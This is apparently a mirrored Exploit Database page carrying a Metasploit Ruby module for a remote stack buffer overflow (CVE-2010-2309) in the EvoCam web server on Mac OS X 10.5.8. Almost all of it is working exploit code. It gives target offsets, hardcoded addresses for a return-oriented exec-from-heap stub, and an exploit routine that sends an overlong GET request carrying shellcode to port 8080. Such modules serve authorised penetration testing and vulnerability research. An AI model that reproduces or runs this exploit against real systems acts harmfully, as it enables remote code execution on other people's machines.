Apple Mac OSX EvoCam Web Server – GET Buffer Overflow (Metasploit)

• Exploit Database
• 47 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16874/

• ##
  # $Id: evocam_webserver.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',
  			'Description' => %q{
  					This module exploits a stack buffer overflow in the web server provided with the EvoCam
  				program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
  				from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
  				3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
  			},
  			'Author' =>
  				[
  					'Paul Harrington', # Original Exploit Author and MSF Module
  					'dookie', # MSF Module Assistance
  				],
  			'Version'=> '$Revision: 10617 $',
  			'Platform' => 'osx',
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					['CVE', '2010-2309'],
  					['OSVDB', '65043'],
  					['URL', 'http://www.exploit-db.com/exploits/12835'],
  				],
  			'Payload'=>
  				{
  					'Space' => 300,
  					'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Privileged' => false,
  			'Targets'=>
  				[
  					[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
  						{
  							'Arch' => ARCH_X86,
  							'Offset' => 1560,
  							'Writable' => 0x8fe66448,
  							'setjmp' => 0x8fe1cf38,
  							'strdup' => 0x8fe210dc,
  							'jmp_eax' => 0x8fe01041
  						}
  					],
  					[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
  						{
  							'Arch' => ARCH_X86,
  							'Offset' => 1308,
  							'Writable' => 0x8fe66448,
  							'setjmp' => 0x8fe1cf38,
  							'strdup' => 0x8fe210dc,
  							'jmp_eax' => 0x8fe01041
  						}
  					],
  
  				],
  			'DisclosureDate' => 'Jun 01 2010',
  			'DefaultTarget'=> 1))
  
  		register_options(
  			[
  				Opt::RPORT(8080),
  			], self.class)
  	end
  
  	def make_exec_payload_from_heap_stub()
  		frag0 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x61" + # popa
  			"\xc3" # ret
  
  		frag1 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x89\xe0" + # mov eax, esp
  			"\x83\xc0\x0e" + # add eax, byte +0xc
  			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
  			"\xc3" # ret
  
  		setjmp = target['setjmp']
  		writable = target['Writable']
  		strdup = target['strdup']
  		jmp_eax = target['jmp_eax']
  
  		exec_payload_from_heap_stub =
  			frag0 +
  			[setjmp].pack('V') +
  			[writable + 32, writable].pack("V2") +
  			frag1 +
  			"X" * 20 +
  			[setjmp].pack('V') +
  			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
  			"X" * 4
  	end
  
  	def exploit
  		connect
  
  		offset = target['Offset']
  
  		buffer = "GET "
  		buffer << rand_text_alpha_upper(offset)
  		buffer << make_exec_payload_from_heap_stub()
  		buffer << "\x90\x90"
  		buffer << payload.encoded
  		buffer << " HTTP/1.0\r\n\r\n"
  
  		sock.put(buffer)
  		sock.close
  
  		handler()
  		disconnect
  	end
  
  end